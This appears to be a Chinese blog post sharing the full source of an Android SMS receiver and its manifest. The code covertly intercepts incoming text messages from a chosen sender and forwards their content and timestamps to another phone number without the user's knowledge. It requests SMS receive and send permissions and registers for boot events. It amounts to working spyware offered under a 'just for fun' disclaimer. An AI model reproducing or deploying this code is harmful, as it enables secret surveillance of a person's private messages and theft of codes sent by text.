废话不多直接上代码:

package com.qiao.service;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
/**
* 注 纯属娱乐,请勿瞎搞,另手机装有卫士之类的软件会发生拦截
* @author Administrator
*
*/
public class MySmsService extends BroadcastReceiver{

@Override
public void onReceive(Context context, Intent intent) {
//获取短信实体内容
Object [] pdus = (Object[]) intent.getExtras().get("pdus");
//迭代短信内容
for (Object pdu :pdus) {
//对短信各部分进行组成
SmsMessage message= SmsMessage.createFromPdu((byte[]) pdu);
//获得短信发送者
String sender = message.getOriginatingAddress();
//获得短信内容
String content =message.getMessageBody();
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd-HH:mm:ss");
String time =dateFormat.format(date);
//处理所监听到的短信
sendSMS(sender,content,time);
}
}

private void sendSMS(String sender, String content, String time) {

if ("这里填写手机号-->发信息的人".equals(sender)) {
SmsManager manager = SmsManager.getDefault();

ArrayList<String> texts = manager.divideMessage(content);
for (String text : texts) {
manager.sendTextMessage("这里填写监听后需要发送给谁-->手机号", null, "time + " + time
+ " " + text, null, null);
}
}
}

}


以下是mainfest里边权限之类的:


<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.qiao.smsreceiver"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="19" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>

<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.qiao.smsreceiver.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<!-- 短信广播接收器 -->
<receiver android:name="com.qiao.service.MySmsService">
<intent-filter >
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>

</manifest>


更多相关文章

  1. Android完美禁用Home键
  2. Android(安卓)获取手机信息
  3. android > 手机MIC,听筒音量监听
  4. android studio 读取短信
  5. android 监听短信和来电
  6. Android电池状态监听实例1(下)
  7. Android——布局的一些动态设置
  8. Android的第一个应用(拨打电话)
  9. android修改软键盘的回车键为搜索键以及点击时执行两次监听事件

随机推荐

  1. Android(安卓)MVP模式的化简深入理解
  2. android霓虹灯源代码――基础编
  3. Android(安卓)设计模式之MVC,从一个实例中
  4. Android(安卓)ListView滚动到底后自动加
  5. android在JNI_OnLoad入口函数下断点动态
  6. Android(安卓)XML解析学习——方式比较
  7. Android(安卓)VacantCell缓存
  8. Android中的NDK的例子
  9. 明年 Android(安卓)旗舰手机会有什么特性
  10. Android开发者福利之--------Android(安